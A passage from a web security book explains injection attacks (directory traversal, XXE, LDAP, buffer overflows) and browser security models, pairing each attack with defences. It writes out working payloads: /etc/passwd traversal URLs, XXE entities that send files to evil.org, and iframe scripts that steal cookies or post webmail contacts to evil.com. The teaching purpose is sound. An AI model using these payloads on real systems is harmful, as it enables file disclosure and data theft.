Some web applications open files based on HTTP parameters (user input). Consider 
this simple PHP application that displays a file in many languages:

<?php

$language = "main-en";
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if (is_set($_GET['language']))

  $language = $_GET['language'];

include("/usr/local/webapp/static_files/" . $language . ".html");

?>

Assume that this PHP page is accessible through http://foo.com/webapp/static.
php?language=main-en; an attacker can read arbitrary files from the web server by 
inserting some string to make the include function point to a different file. For instance, 
if an attacker made these GET requests,

http://foo.com/webapp/static.php?language=../../../../etc/passwd%00

the include function would open this file:

/usr/local/webapp/static_files/../../../../etc/passwd

This file is simply

/etc/passwd

Thus, the GET request would return the contents of /etc/passwd on the server. Note that 
the null byte (%00) ends the string, so .html would not be concatenated to the end of the 
filename.

This type of attack is called a directory traversal attack, and it has plagued many web 
servers for some time, because attackers would URL encode the ../ segments in various 
ways, such as these:

• %2e%2e%2f

• %2e%2e/

• ..%2f

• .%2e/

Directory Traversal Attacks
Today, some web application frameworks automatically protect against directory 
traversal attacks. For example, PHP has a setting called magic_quotes_gpc, which is on 
by default. This setting “magically” escapes suspicious characters in GETs, POSTs, and 
cookies with a backslash. Thus, the character / is escaped to \/, which stops this attack. 
Other web application frameworks do not have general protection mechanisms, and it is 
up to the developer to protect against these problems.

To protect your application from directory traversal attacks, whitelist the acceptable 
files—that is, deny all user input except for a small subset like this:

http://foo.com/webapp/static.php?language=main-en
http://foo.com/webapp/static.php?language=main-en
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<?php

$languages = array('main-en','main-fr','main-ru'); 

$language = $languages[1];

if (is_set($_GET['language']))

  $tmp = $_GET['language'];

if (array_search($tmp, $languages)) 

  $language = $tmp; 

include("/usr/local/webapp/static_files/" . $language . ".html");

?>

XXE (XML eXternal Entity) Attacks
Popularity: 4

Simplicity: 9

Impact: 8

Risk Rating: 8

Like directory traversal attacks, XML external entity attacks allow the attacker to 
read arbitrary files on the server from SSL private keys to password files.

A little known “feature” of XML is external entities, whereby developers can define 
their own XML entities. For example, this sample XML-based Really Simple Syndication 
(RSS) document defines the &author; entity and uses it throughout the page:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

  <!ENTITY author "Fluffy Bunny">

]>

<tag>&author;</tag>

You can also define entities that read system files. For example, when an XML parser 
reads the following RSS document, the parser will replace &passwd; or &passwd2;
with /etc/passwd:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

  <!ENTITY passwd SYSTEM "file:/etc/passwd">

  <!ENTITY passwd2 SYSTEM "file:///etc/passwd">

]>

<rss version="2.0">

  <channel>

    <title>My attack RSS feed showing /etc/passwd</title>

    <description>this is file:/etc/passwd: &passwd; and this is 

ile:///etc/passwd: &passwd;</description>
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    <item>

    <title>/etc/passwd</title>

    <description>file:/etc/passwd: &passwd; file:///etc/passwd: 

passwd;</description>

    <link>http://example.com</link>

    </item>

  </channel>

</rss>

To exploit this attack, the attacker simply places this RSS file on his or her web site 
and adds this attack RSS feed to some online RSS aggregator. If the RSS aggregator is 
vulnerable, the attacker will see the contents of /etc/passwd on the vulnerable aggregator 
while viewing the attack RSS feed. 

By simply uploading an XML file, the XML file can even send the files back to the 
attacker. This is great for attacking backend systems where the attacker will never see the 
output of the XML file. Create one entity to load up a sensitive file on the server (say 
c:\boot.ini) and create another entity loading an URL to the attacker’s site with the 
former entity within the request, as so:

  <?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE doc [

  <!ENTITY bootini SYSTEM "file:///C:/boot.ini ">

  <!ENTITY sendbootini SYSTEM "http://evil.org/getBootIni?&bootini;">

]>

&sendbootini;

Obviously, this attack can lead to arbitrary file disclosure on the vulnerable web 
server. It is not limited to RSS feeds. This attack can be mounted on all web applications 
that accept XML documents and parse the document.

It’s amazing how many web applications integrate RSS feeds as an add-on feature. 
These applications tend to add this feature as an afterthought and are vulnerable to this 
attack.

Preventing XXE Attacks
To protect against XXE attacks, simply instruct the XML parser you use to prohibit 
external entities. Prohibiting external entities varies depending on the XML parser used. 
For example, JAXP and Xerces do not resolve entities by default, while developers must 
explicitly turn off entity expansion in LibXML using expand_entities(0);.
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LDAP Injection
Popularity: 2

Simplicity: 5

Impact: 5

Risk Rating: 5

Generally, LDAP injection attacks allow users within a corporation to gain private 
information. This attack is usually not possible via the Internet.

Lightweight Directory Access Protocol (LDAP) is a protocol for managing and storing 
network resources and network users. This includes authorizing users to access 
computers and other resources. Some web applications use “unsanitized” user input to 
perform LDAP queries.

Consider a web application that takes a username as input and performs an LDAP 
query to display the user’s common name (cn) and phone number. For example, this 
request

http://intranet/ldap_query?user=rgc

returns this:

cn: Richard Cannings

telephoneNumber: 403-555-1212

The LDAP statement to perform this query is simply this:

filter = (uid=rgc)

attributes = cn, telephoneNumber

However, you can construct more elaborate filters by using Boolean operations such as 
OR (|) and AND (&) with various attributes such as cn, dn, sn, objectClass,
telephoneNumber, manager, and so on. LDAP queries use Polish notation (also known as 
prefix notation), where the operators appear to the left of the operands. Furthermore, 
LDAP accepts the wildcard symbol (*). A more elaborate LDAP query could be something 
like this:

filter = (&(objectClass=person)(cn=Rich*)(|(telephoneNumber=403*)( 

telephoneNumber=415*)))

This query finds people whose common name starts with Rich and phone number in 
either the 403 or 415 area code.

To inject arbitrary LDAP queries into a vulnerable web application, you must 
construct a different, yet valid, LDAP query. If this HTTP request,

http://intranet/ldap_query?user=rgc
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created this filter,

(uid=rgc)

then you must create a valid LDAP filter that begins with (uid= and ends with). For 
example, to perform a reverse phone number lookup (that is, find the name of a person 
associated with a phone number), you could make this request:

http://intranet/ldap_query?user=*)(|(telephoneNumber=415-555-1212)

This creates the query

(uid=*)(|(telephoneNumber=415-555-1212))

Another interesting query is to find all the possible objectClasses. This can be 
performed like so:

http://intranet/ldap_query?user=*)(|(objectClass=*)

This creates the query

(uid=*)(|(objectClass=*))

Preventing LDAP Injection
Protecting against LDAP injection is as simple as whitelisting characters—that is, allow 
alphanumeric characters (a–z, A–Z, and 0–9) and deny all other characters.

Buffer Overfl ows
Popularity: 8

Simplicity: 2

Impact: 10

Risk Rating: 9

Buffer overflows are one of the more complex injection attacks, as they take advantage 
of developers misusing memory. Like command injection, a successful buffer overflow 
attack gives the attacker complete control of the remote machine.

This section is intended to give you a feel for buffer overflows, but it does not discuss buffer overflows 
in technical detail. You can consult other texts and articles such as Aleph One’s classic “Smashing 
The Stack For Fun And Profit” in Phrack magazine (www.phrack.org/archives/49/P49-14) for more 
information on buffer overflows. 

www.phrack.org/archives/49/P49-14
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Some programming languages, such as C and C++, place memory management 
responsibilities on the developer. If the developer is not careful, user input could write to 
memory that was not intended to be written to. One such memory location is called the return 
address of a stack. The return address holds the memory address of the next machine instruction 
block to execute. If an application is vulnerable to buffer overflows, an attacker could send a 
very long string to the web application—longer than the developer expected. The string could 
potentially overwrite the return address, telling the web application what machine instructions 
it should execute next. The injection aspect of buffer overflows is that the attacker injects 
machine instructions (called shell code) into some user input. The attacker somewhat needs to 
know where the shell code will end up in the memory of the computer running the web 
application. Then the attacker overwrites the return address to point to the memory location 
of the shell code.

Exploiting buffer overflows are nontrivial, but finding them is not as difficult, and 
finding buffer overflows on a local machine is easy. You need only send very long strings
in all user inputs. We suggest inputting predictable strings, such as 10,000 capital As, into 
each input. If the program crashes, it is most likely due to a buffer overflow. Repeat the 
crash while running the application in a debugger. When the program crashes, investigate 
the program registers. If you see 41414141 (41 is the ASCII representation of a capital A)
in the SP register, you have found a buffer overflow.

Finding buffer overflows on remote machines, such as a web application, is a lot 
more difficult, because attackers cannot view the contents of the web application’s 
registers, and it may even be difficult to recognize that the web application has even 
crashed. The trick to finding buffer overflows on web applications is to do the 
following:

 1. Identify what publicly available libraries or code the web application is 
running.

 2. Download that code.

 3. Test that code on your local machine to fi nd a buffer overfl ow.

 4. Develop exploit code that works on your local machine.

 5. Attempt to execute the exploit code on the web application.

Preventing Buffer Overfl ows
The easiest step is to avoid developing frontend web applications with C and C++. The 
speed increase is nominal compared to delays in Internet communication. If you must 
use code written in C or C++, minimize the amount of code used and perform sanity 
checks on user input before sending it onto the C or C++ derived code. 

If you can’t avoid programming in C or C++, you can take basic steps to prevent 
some buffer overflows, such as compiling your code with stack protection. You can, for 
example, use the /GS flag when compiling C and C++ code in Visual Studio, and use 
–fstack-protector in SSP (also known as ProPolice)-enabled versions of gcc.



18 Hacking Exposed Web 2.0

TESTING FOR INJECTION EXPOSURES
Now that you understand the basics of SQL injection, LDAP injection, XPATH injection, 
and OS command injection, it is important that you test you web applications to verify 
their security. Many methods can be used in testing for injection flaws in web applications. 
The following section describes an automated method to test for injection flaws, including 
SQL, LDAP, XPath, XQUERY, and OS commands, using iSEC’s SecurityQA Toolbar. The 
SecurityQA Toolbar is a security testing tool for web application security. It is often used 
by developers and QA testers to determine an application’s security both for specific 
section of an application as well as the entire application itself. For more information on 
the product, visit www.isecpartners.com. 

Automated Testing with iSEC’s SecurityQA Toolbar
The process for testing for injection flaws in web applications can be cumbersome and 
complex across a big web application with many forms. To ensure that the web application 
gets the proper security attention, iSEC Partners’ SecurityQA Toolbar provides a feature to 
test input fields on a per-page basis rather than having to scan the entire web application. 
While per-page testing may take a bit longer, it can produce strong results since the testing 
focus is on each page individually and in real time. To test for injection security issues, 
complete the following steps.

 1. Visit www.isecpartners.com and request an evaluation copy of the product.

 2. After installing the toolbar on Internet Explorer 6 or 7, visit the web application 
using IE.

 3. Within the web application, visit the page you want to test. Then choose Data 
Validation | SQL Injection from the SecurityQA Toolbar (Figure 1-1).

 4. The SecurityQA Toolbar will automatically check for SQL Injection issues on 
the current page. If you want to see the progress of the testing in real time, 
click the expand button (the last button on the right) before selecting the SQL 
Injection option. The expand button will show which forms are vulnerable to 
SQL Injection in real time.

Figure 1-1 SecurityQA Toolbar

www.isecpartners.com
www.isecpartners.com
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 5. After the testing is completed on the current page, as noted in the progress bar 
in the lower left side of the browser, browse to the next page of the application 
(or any other page you wish to test) and repeat step 3. 

 6. After you have completed SQL injection testing on all desired pages of the 
web application, repeat steps 3 and 5 for LDAP Injection, XPATH Injection, OS 
Commanding, or any other injection testing under the Data Validation menu. 

 7. Once you have fi nished testing all of the pages on the web application, view 
the report by selecting Reports | Current Test Results. The SecurityQA Toolbar 
will then display all security issues found from the testing. Figure 1-2 shows 
a sample injection report. Notice the iSEC Test Value section that shows the 
specifi c request and the specifi c response in boldface type, which shows which 
string triggered the injection fl aw. 

Figure 1-2 SQL/LDAP/XPATH Injection testing results from SecurityQA Toolbar
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SUMMARY
Injection attacks have been around for a long time and continue to be common among 
many web applications. This type of attack allows attackers to perform actions on the 
application server, from reading files to gaining complete control of the machine. 

Injection attacks are heavily dependent on the technology used. First, identify the 
technology used. Next, find all the possible user inputs for the web application. Finally, 
attempt injections on all the users inputs.
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In this chapter, we discuss security controls in web browsers and how to circumvent 
them with a common technique called cross-site scripting (XSS). The name cross-site 
 scripting is derived from the fact that one web site (or person) can inject script of their 

choosing across security boundaries to a different and vulnerable web site. XSS is a type 
of injection attack, but rather than the attacker directly performing the injection, the 
attacker must lure the victim to perform the injection.

WEB BROWSER SECURITY MODELS
A variety of security controls are placed in web browsers. The key to hacking web 
applications is to find a problem in one of the browser security controls or circumvent 
one of the controls. Each security control attempts to be independent from the others, but 
if an attacker can inject a little JavaScript in the wrong place, all the security controls 
break down and only the weakest control remains—the same origin policy.

The same origin policy generally rules all security controls. However, frequent flaws 
in web browsers and in browser plug-ins, such as Acrobat Reader, Flash, and Outlook 
Express, have compromised even the same origin policy.

In this chapter, we discuss three browser security models as they were intended to be:

• The same origin policy

• The cookies security model

• The Flash security model

We also discuss how to use a little JavaScript to weaken some of the models. 

Same Origin/Domain Policy
The same origin policy (also known as same domain policy) is the main security control 
in web browsers. An origin is defined as the combination of host name, protocol, and port 
number; you can think of an origin as the entity that created some web page or information 
being accessed by a browser. The same origin policy simply requires that dynamic 
content (for example, JavaScript or VBScript) can read only HTTP responses and cookies 
that came from the same origin it came from. Dynamic content may not read content 
from a different origin than from where it came. Interestingly, the same origin policy 
does not have any write access control. As such, web sites can send (or write) HTTP 
requests to any other web site, although restrictions may be placed on the cookies and 
headers associated with sending such requests to prevent cross site requests.

The same origin policy may best be explained through examples. Suppose I have a 
web page at http://foo.com/bar/baz.html with JavaScript in it. That JavaScript can 
read/write some pages and not others. Table 2-1 outlines what URLs the JavaScript from 
http://foo.com/bar/baz.html can access.

http://foo.com/bar/baz.html
http://foo.com/bar/baz.html
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Exceptions to the Same Origin Policy
Browsers can be instructed to allow limited exceptions to the same origin policy 
by setting JavaScript’s document.domain variable on the requested page. Namely, if 
http://www.foo.com/bar/baz.html had the following in its page,

<script>

document.domain = "foo.com";

</script>

then http://xyz.foo.com/anywhere.html can send an HTTP request to http://www.foo
.com/bar/baz.html and read its contents.

URL Can I access it? Why or why not?

http://foo.com/index.
html

Yes The protocol and hostname match. 
The port is not explicitly stated. 
The port is assumed to be 80. Note 
that the directories differ. This 
directory is / while the other is /bar.

http://foo.com/
cgi-bin/version2/
webApp

Yes The protocol and hostname match. 
The port is not explicitly stated. 
The port is assumed to be 80. Note 
that the directories differ. This 
directory is /cgi-bin/version2 while 
the other is /bar.

http://foo.com:80/bar/
baz.html

Yes Has almost identical URL. The 
HTTP protocol matches, the port is 
80 (the default port for HTTP), and 
the hostname is the same.

https://foo.com/bar/
baz.html

No The protocols differ. This one uses 
HTTPS.

http://www.foo.com/
bar/baz.html

No The hostnames differ. This 
hostname is www.foo.com instead of 
foo.com

http://foo.com:8080/
bar/baz.html

No The port numbers differ. The port 
here is 8080, while the other port is 
assumed to be 80.

Table 2-1  How the Same Origin Policy Works when http://foo.com/bar/baz.html Attempts to Load 
Certain URLs

http://www.foo.com/bar/baz.html
http://www.foo.com/bar/baz.html
www.foo.com
http://www.foo.com/bar/baz.html
http://www.foo.com/bar/baz.html
http://www.foo.com/bar/baz.html
http://foo.com/index.html
http://foo.com/index.html
http://foo.com/cgi-bin/version2/webApp
http://foo.com/cgi-bin/version2/webApp
http://foo.com/cgi-bin/version2/webApp
http://foo.com:80/bar/baz.html
http://foo.com:80/bar/baz.html
https://foo.com/bar/baz.html
https://foo.com/bar/baz.html
http://foo.com:8080/bar/baz.html
http://foo.com:8080/bar/baz.html
http://foo.com/bar/baz.html
http://xyz.foo.com/anywhere.html
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In this case, if an attacker can inject HTML or JavaScript in http://xyz.foo.com/
anywhere.html, the attacker can inject JavaScript in http://www.foo.com/bar/baz.html, 
too. This is done by the attacker first injecting HTML and JavaScript into http://xyz
.foo.com/anywhere.html that sets the document.domain to foo.com, then loads an 
iframe to http://www.foo.com/bar/baz.html that also contains a document.domain set 
to foo.com, and then accesses the iframe contents via JavaScript. For example, the 
following code in http://xyz.foo.com/anywhere.html will execute a JavaScript alert()
box in the www.foo.com domain:

<iframe src="http://www.foo.com/bar/baz.html" 

onload="frames[0].document.body.innerHTML+=’<img src=x 

onerror=alert(1)’"></iframe>

Thus, document.domain allows an attacker to traverse domains. 

You cannot put any domain in document.domain. The document.domain must be the 
superdomain of the domain from which the page originated, such as foo.com from www.foo.com. 

In Firefox and Mozilla browsers, attackers can manipulate document.domain with
__defineGetter__() so that document.domain returns any string of the attacker’s 
choice. This does not affect the browser’s same origin policy as it affects only the 
JavaScript engine and not the underlying Document Object Model (DOM), but it could 
affect JavaScript applications that rely on document.domain for backend cross-domain 
requests. For example, suppose that a backend request to http://somesite.com/GetInfor
mation?callback=callbackFunction responded with the following HTTP body:

function callbackFunction() {

  if ( document.domain == "safesite.com") { 

    return "Confidential Information";

  } 

  return "Unauthorized";

}

An attacker could get the confidential information by luring a victim to the attacker’s 
page that contained this script:

<script>

function callbackFunction() {return 0;}

document.__defineGetter__("domain", function() {return "safesite.com"});

setTimeout("sendInfoToEvilSite(callbackFunction())",1500);

</script>

<script src="http://somesite.com/GetInformation?callback=callbackFunction">

</script>

This HTML code sets the document.domain via __defineGetter__() and makes 
a cross-domain request to http://somesite.com/GetInformation?callback=callback
Function. Finally, it calls sendInfoToEvilSite(callbackFunction()) after 1.5 

http://www.foo.com/bar/baz.html
http://www.foo.com/bar/baz.html
www.foo.com
http://xyz.foo.com/anywhere.html
http://xyz.foo.com/anywhere.html
http://xyz.foo.com/anywhere.html
http://xyz.foo.com/anywhere.html
http://somesite.com/GetInformation?callback=callback
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seconds—a generous amount of time for the browser to make the request to somesite.
com. Therefore, you should not extend document.domain for other purposes.

What Happens if the Same Origin Policy Is Broken?
The same origin policy ensures that an “evil” web site cannot access other web sites, but 
what if the same origin policy was broken or not there at all? What could an attacker do? 
Let’s consider one hypothetical example.

Suppose that an attacker made a web page at http://www.evil.com/index.html that 
could read HTTP responses from another domain, such as a webmail application, and the 
attacker was able to lure the webmail users to http://www.evil.com/index.html. Then 
the attacker would be able to read the contacts of the lured users. This would be done 
with the following JavaScript in http://www.evil.com/index.html:

<html>

<body>

<iframe style="display:none" name="WebmailIframe" 

src="http://webmail.foo.com/ViewContacts"> <!-- Step 1 -->

</iframe>

<form action="http://evil.com/getContactList" name=”EvilForm">

  <input type="hidden" name="contacts" value="default value">

</form>

All your contacts are belong to us. :)

</body>

<script>

function doEvil() {

  var victimsContactList = document.WebmailIframe.innerHtml; /* Step 3 */

  document.EvilForm.contacts = victimsContactList;

  document.EvilForm.submit;

}

setTimeout("doEvil()", 1000); /* Step 2 */

</script>

</html>

Step 1 uses an iframe named WebmailIframe to load http://webmail.foo.com/
ViewContacts, which is a call in the webmail application to gather the user’s contact list. 
Step 2 waits 1 second and then runs the JavaScript function doEvil(). The delay ensures 
that the contact list was loaded in the iframe. After some assurance that the contact list 
has been loaded in the iframe, doEvil() attempts to access the data from the iframe in 
Step 3. If the same origin policy was broken or did not exist, the attacker would have the 
victim’s contact list in the variable victimsContactList. The attacker could send the 
contact list to the evil.com server using JavaScript and the form in the page.

The attacker could make matters worse by using cross-site request forgery (CSRF) to 
send e-mails on behalf of the victimized user to all of his or her contacts. These contacts 
would receive a seemingly legitimate e-mail that appeared to be sent from their friend, 
asking them to click http://www.evil.com/index.html. 

http://www.evil.com/index.html
http://www.evil.com/index.html
http://www.evil.com/index.html
http://www.evil.com/index.html
http://webmail.foo.com/
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Note that if the same origin policy were broken, then every web application would be 
vulnerable to attack—not just webmail applications. No security would exist on the web. 
A lot of research has been focused on breaking the same origin policy. And once in a 
while, some pretty astonishing findings result.

Cookie Security Model
HTTP is a stateless protocol, meaning that one HTTP request/response pair has no 
association with any other HTTP request/response pair. At some point in the evolution 
of HTTP, developers wanted to maintain some data throughout every request/response 
so that they could make richer web applications. RFC 2109 created a standard whereby 
every HTTP request automatically sends the same data from the user to the server in an 
HTTP header called a cookie. Both the web page and server have read/write control of 
this data. A typical cookie accessed through JavaScript’s document.cookie looks like 
this:

CookieName1=CookieValue1; CookieName2=CookieValue2;

Cookies were intended to store confidential information, such as authentication 
credentials, so RFC 2109 defined security guidelines similar to those of the same domain 
policy. 

Servers are intended to be the main controller of cookies. Servers can read cookies, 
write cookies, and set security controls on the cookies. The cookie security controls 
include the following:

• domain This attribute is intended to act similarly to the same origin policy but 
is a little more restrictive. Like the same origin policy, the domain defaults to the 
domain in the HTTP request Host header, but the domain can be set to be one 
domain level higher. For example, if the HTTP request was to x.y.z.com, then 
x.y.z.com could set cookies for all of *.y.z.com, and x.y.z.com cannot set cookies 
for all of *.z.com. Apparently, no domain may set cookies for top level domains 
(TLDs) such as *.com. 

• path This attribute was intended to refi ne the domain security model to 
include the URL path. The path attribute is optional. If set, the cookie is sent 
only to the server whose path is identical to the path attribute. For example, say 
http://x.y.z.com/a/WebApp set a cookie with path /a; then the cookie would 
be sent to all requests to http://x.y.z.com/a/* only. The cookie would not be 
sent to http://x.y.z.com/index.html or http://x.y.z.com/a/b/index.html. 

• secure If a cookie has this attribute set, the cookie is sent only on HTTPS 
requests. Note that both HTTP and HTTPS responses can set the secure
attribute. Thus, an HTTP request/response can alter a secure cookie set over 
HTTPS. This is a big problem for some advanced man-in-the-middle attacks. 
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• expires Usually, cookies are deleted when the browser closes. However, you 
can set a date in the Wdy, DD-Mon-YYYY HH:MM:SS GMT format to store the 
cookies on the user’s computer and keep sending the cookie on every HTTP 
request until the expiry date. You can delete cookies immediately by setting the 
expires attribute to a past date.

• HttpOnly This attribute is nowrespected by both Firefox and Internet Explorer. It 
is hardly used in web applications because it was only available in Internet Explorer. 
If this attribute is set, IE will disallow the cookie to be read or written via JavaScript’s 
document.cookie. This intended to prevent the attacker from stealing cookies and 
doing something bad. However, that attacker could always create JavaScript to do 
equally bad actions without stealing cookies.

Security attributes are concatenated to the cookies like this:

CookieName1=CookieValue1; domain=.y.z.com; path=/a; 

CookieName2=CookieValue2; domain=x.y.z.com; secure

JavaScript and VBScript are inaccurately considered extensions of the server code, so 
these scripting languages can read and write cookies by accessing the document.cookie
variable, unless the cookie has the HttpOnly attribute set and the user is running IE. This 
is of great interest to hackers, because cookies generally contain authentication credentials, 
CSRF protection information, and other confidential information. Also, Man-in-the-
Middle (MitM) attacks can edit JavaScript over HTTP.

If an attacker can break or circumvent the same origin policy, the cookies can be 
easily read via the DOM with the document.cookie variable. Writing new cookies is 
easy, too: simply concatenate to document.cookie with this string format:

var cookieDate = new Date ( 2030, 12, 31 );

document.cookie += "CookieName=CookieValue;" + 

    /* All lines below are optional. */

    "domain=.y.z.com;" + 

    "path=/a;" +

    "expires=" + cookieDate.toGMTString() + ";" + 

    "secure;" + 

    "HttpOnly;" 

 Problems with Setting and Parsing Cookies
Popularity: 2

Simplicity: 4

Impact: 6

Risk Rating: 5

Cookies are used by JavaScript, web browsers, web servers, load balancers, and other 
independent systems. Each system uses different code to parse cookies. Undoubtedly, 
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these systems will parse (and read) cookies differently. Attackers may be able to add or 
replace a cookie to a victim’s cookies that will appear different to systems that expect the 
cookie to look the same. For instance, an attacker may be able add or overwrite a cookie 
that uses the same name as a cookie that already exists in the victim’s cookies. Consider 
a university setting, where an attacker has a public web page at http://public-pages.
university.edu/~attacker and the university hosts a webmail service at https://webmail
.university.edu/. The attacker can set a cookie in the .university.edu domain that will 
be sent to https://webmail.university.edu/. Suppose that cookie is named the same as 
the webmail authentication cookie. The webmail system will now read the attacker’s 
cookie.

The webmail system may assume the user is someone different and log him or her in to 
a different webmail account. The attacker could then set up the different webmail account 
(possibly his own account) to contain a single e-mail stating that the user’s e-mails were 
removed due to a “security breach” and that the user must go to http://public-pages.
university.edu/~attacker/reAuthenticate (or a less obviously malicious link) to sign in 
again and to see all his or her e-mail. The attacker could make the reAuthenticate link look 
like a typical university sign-in page, asking for the victim’s username and password. When 
the victim submits the information, the username and password would be sent to the 
attacker. This type of attack is sometimes referred to as a session fixation attack, where the 
attacker fixates the user to a session of the attacker’s choice.

Injecting only cookie fragments may make different systems read cookies differently, 
too. Note that cookies and access controls are separated by the same character—a 
semicolon (;). If an attacker can add cookies via JavaScript or if cookies are added based 
on some user input, then the attacker could add a cookie fragment that may change 
security characteristics or values of other cookies.

Parsing Cookies
Test for these types of attacks. Assume that man-in-the-middle attacks will be able to 
overwrite even cookies that are set secure and sent over Secure Sockets Layer (SSL). 
Thus, check the integrity of cookies by cross-referencing them to some session state. If 
the cookie has been tampered with, make the request fail.

 Using JavaScript to Reduce the Cookie Security Model 
to the Same Origin Policy

Popularity: 1

Simplicity: 5

Impact: 6

Risk Rating: 5

http://public-pages.university.edu/~attacker
http://public-pages.university.edu/~attacker
https://webmail.university.edu/
https://webmail.university.edu/
https://webmail.university.edu/
http://public-pages.university.edu/~attacker/reAuthenticate
http://public-pages.university.edu/~attacker/reAuthenticate
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The cookie security model is intended to be more secure than the same origin policy, 
but with some JavaScript, the cookie domain is reduced to the security of the same origin 
policy’s document.domain setting, and the cookie path attribute can be completely 
circumvented.

We’ll use the university webmail example again where an attacker creates a web 
page at http://public-pages.university.edu/~attacker/ and the university has a webmail 
system at http://webmail.university.edu/. If a single page in http://webmail.university
.edu/ has document.domain="university.edu" (call the page http://webmail
.university.edu/badPage.html), then the attacker could steal the victim’s cookies by 
luring him or her to http://public-pages.university.edu/~attacker/stealCookies.htm, 
which contains the following code:

<script>

function stealCookies() {

  var victimsCookies = document.getElementById("iLoveIframes").cookie;

  sendCookiesSomewhere(victimsCookies);

}

</script>

<iframe id="iLoveIframes" onload="stealCookies()" 

style="display:none" 

src="http://webmail.university.edu/badPage.html" >

Similarly, suppose that the attacker’s personal page is at http://www.university
.edu/~attacker/, the webmail system is at http://www.university.edu/webmail/, and 
the webmail cookies are path protected with path=/webmail. Then the attacker can steal 
a victim’s cookies by luring the victim to http://www.university.edu/~attacker/
stealCookies.html, which contains the following code:

<script>

function stealCookies() {

  var victimsCookies = document.getElementById("iLoveIframes").cookie;

  sendCookiesSomewhere(victimsCookies);

}

</script>

<iframe id="iLoveIframes" onload="stealCookies()" 

style="display:none" 

src="http://www.university.edu/webmail/anyPage.html" >

</iframe>

Protecting Cookies
Use the added features in the cookie security model, but do not rely on the added security 
features in the cookie security model. Simply trust the same origin policy and sculpt 
your web application’s security around the same origin policy.

http://www.university.edu/~attacker/
http://www.university.edu/~attacker/
http://www.university.edu/webmail/
http://www.university.edu/~attacker/stealCookies.html
http://www.university.edu/~attacker/stealCookies.html
http://public-pages.university.edu/~attacker/
http://webmail.university.edu/
http://public-pages.university.edu/~attacker/stealCookies.htm
http://webmail.university.edu/badPage.html
http://webmail.university.edu/badPage.html
http://webmail.university.edu/
http://webmail.university.edu/
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Flash Security Model
Flash is a popular plug-in for most web browsers. Recent versions of Flash have very 
complicated security models that can be customized to the developer’s preference. We 
describe some interesting aspects to Flash’s security model here. However, first we 
briefly describe some interesting features of Flash that JavaScript does not possess.

Flash’s scripting language is called ActionScript. ActionScript is similar to JavaScript 
and includes some interesting classes from an attacker’s perspective:

• The class Socket allows the developer to create raw TCP socket connections 
to allowed domains, for purposes such as crafting complete HTTP requests 
with spoofed headers such as referrer. Also, Socket can be used to scan some 
network computers and ports accessible that are not accessible externally.

• The class ExternalInterface allows the developer to run JavaScript in 
the browser from Flash, for purposes such as reading from and writing to 
document.cookie.

• The classes XML and URLLoader perform HTTP requests (with the browser 
cookies) on behalf of the user to allowed domains, for purposes such as cross-
domain requests.

By default, the security model for Flash is similar to that of the same origin policy. 
Namely, Flash can read responses from requests only from the same domain from which 
the Flash application originated. Flash also places some security around making HTTP 
requests, but you can make cross-domain GET requests via Flash’s getURL function. 
Also, Flash does not allow Flash applications that are loaded over HTTP to read HTTPS 
responses.

Flash does allow cross-domain communication, if a security policy on the other 
domain permits communication with the domain where the Flash application resides. 
The security policy is an XML file usually named crossdomain.xml and usually located 
in the root directory of the other domain. The worst policy file from a security perspective 
looks something like this:

<cross-domain-policy>

    <allow-access-from domain="*" /> 

</cross-domain-policy>

This policy allows any Flash application to communicate (cross-domain) with the 
server hosting this crossdomain.xml file.

The policy file can have any name and be located in any directory. An arbitrary 
security policy file is loaded with the following ActionScript code:

System.security.loadPolicyFile("http://public-" +     

    "pages.univeristy.edu/crossdomain.xml");

If it is not in the server’s root directory, the policy applies only to the directory in 
which the policy file is located, plus all subdirectories within that directory. For instance, 
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suppose a policy file was located in http://public-pages.university.edu/~attacker/
crossdomain.xml. Then the policy would apply to requests such as http://public-
pages.university.edu/~attacker/doEvil.html and http://public-pages.university.edu
/~attacker/moreEvil/doMoreEvil.html, but not to pages such as http://public-pages
.university.edu/~someStudent/familyPictures.html or http://public-pages.university
.edu/index.html.

Refl ecting Policy Files
Popularity: 7

Simplicity: 8

Impact: 8

Risk Rating: 8

Policy files are forgivingly parsed by Flash, so if you can construct an HTTP request 
that results in the server sending back a policy file, Flash will accept the policy file. For 
instance, suppose some AJAX request to http://www.university.edu/Course
Listing?format=js&callback=<cross-domain-policy><allow-access-
from%20domain="*"/></cross-domain-policy> responded with the following:

<cross-domain-policy><allow-access-from%20domain="*"/>

</cross-domain-policy>() { return {name:"English101",

desc:"Read Books"}, {name:"Computers101", 

desc:"play on computers"}};

Then you could load this policy via the ActionScript:

System.security.loadPolicyFile("http://www.university.edu/" + 

    "CourseListing?format=json&callback=" + 

    "<cross-domain-policy>" +

    "<allow-access-from%20domain=\"*\"/>" + 

    "</cross-domain-policy>");

This results in the Flash application having complete cross-domain access to http://
www.university.edu/.

Many people have identified that if they can upload a file to a server containing an 
insecure policy file that could later be retrieved over HTTP, then System.security
.loadPolicyFile() would also respect that policy file. Stefan Esser of www.hardened-
php.net showed that placing an insecure policy file in a GIF image also works. (See 
“References and Further Reading” at the end of the chapter for more information.)

In general, it appears that Flash will respect any file containing the cross-domain 
policy unless any unclosed tags or extended ASCII characters exist before </cross-domain-
policy>. Note that the MIME type is completely ignored by Flash Player.

http://www.university.edu/CourseListing?format=js&callback=<cross-domain-policy><allow-accessfrom%20domain="*"/></cross-domain-policy>
http://www.university.edu/CourseListing?format=js&callback=<cross-domain-policy><allow-accessfrom%20domain="*"/></cross-domain-policy>
http://www.university.edu/CourseListing?format=js&callback=<cross-domain-policy><allow-accessfrom%20domain="*"/></cross-domain-policy>
http://www.university.edu/
http://www.university.edu/
www.hardenedphp.net
www.hardenedphp.net
http://public-pages.university.edu/~attacker/crossdomain.xml
http://public-pages.university.edu/~attacker/crossdomain.xml
http://publicpages.university.edu/~attacker/doEvil.html
http://publicpages.university.edu/~attacker/doEvil.html
http://public-pages.university.edu/~attacker/moreEvil/doMoreEvil.html
http://public-pages.university.edu/~attacker/moreEvil/doMoreEvil.html
http://public-pages.university.edu/~someStudent/familyPictures.html
http://public-pages.university.edu/~someStudent/familyPictures.html
http://public-pages.university.edu/index.html
http://public-pages.university.edu/index.html
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Protecting Against Refl ected Policy Files
When sending user-definable data back to the user, you should HTML entity escape the 
greater than (>) and less than (<) characters to &gt; and &lt;, respectively, or simply 
remove those characters.

Three Steps to XSS
Popularity: 10

Simplicity: 8

Impact: 8

Risk Rating: 8

